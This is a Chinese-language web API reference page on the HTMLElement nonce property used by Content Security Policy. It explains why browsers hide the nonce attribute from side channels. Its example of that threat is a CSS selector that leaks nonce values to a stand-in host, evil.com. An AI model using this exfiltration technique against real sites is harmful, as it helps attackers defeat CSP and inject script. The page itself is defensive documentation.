HTMLElement:nonce 属性
nonce
属性是 HTMLElement
接口的属性,它返回用于 内容安全策略 的一次性密码,用于确定是否允许给定的获取操作继续进行。
在后期的实现中,元素仅将其 nonce
属性暴露给脚本(而不是像 CSS 属性选择器这样的侧信道)。
示例
检索 nonce 值
在过去,并非所有浏览器都支持 nonce
IDL 属性,因此解决方法是尝试使用 getAttribute
作为后备
js
let nonce = script["nonce"] || script.getAttribute("nonce");
但是,最近版本的浏览器会隐藏通过这种方式访问的 nonce
值(将返回空字符串)。IDL 属性(script['nonce']
)将是访问 nonce 的唯一方法。
隐藏 nonce 有助于防止攻击者通过以下机制泄露 nonce 数据,这些机制可以从内容属性中获取数据,例如这个 CSS 选择器
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
规范
规范 |
---|
HTML 标准 # dom-noncedelement-nonce |
浏览器兼容性
BCD 表格仅在启用 JavaScript 的浏览器中加载。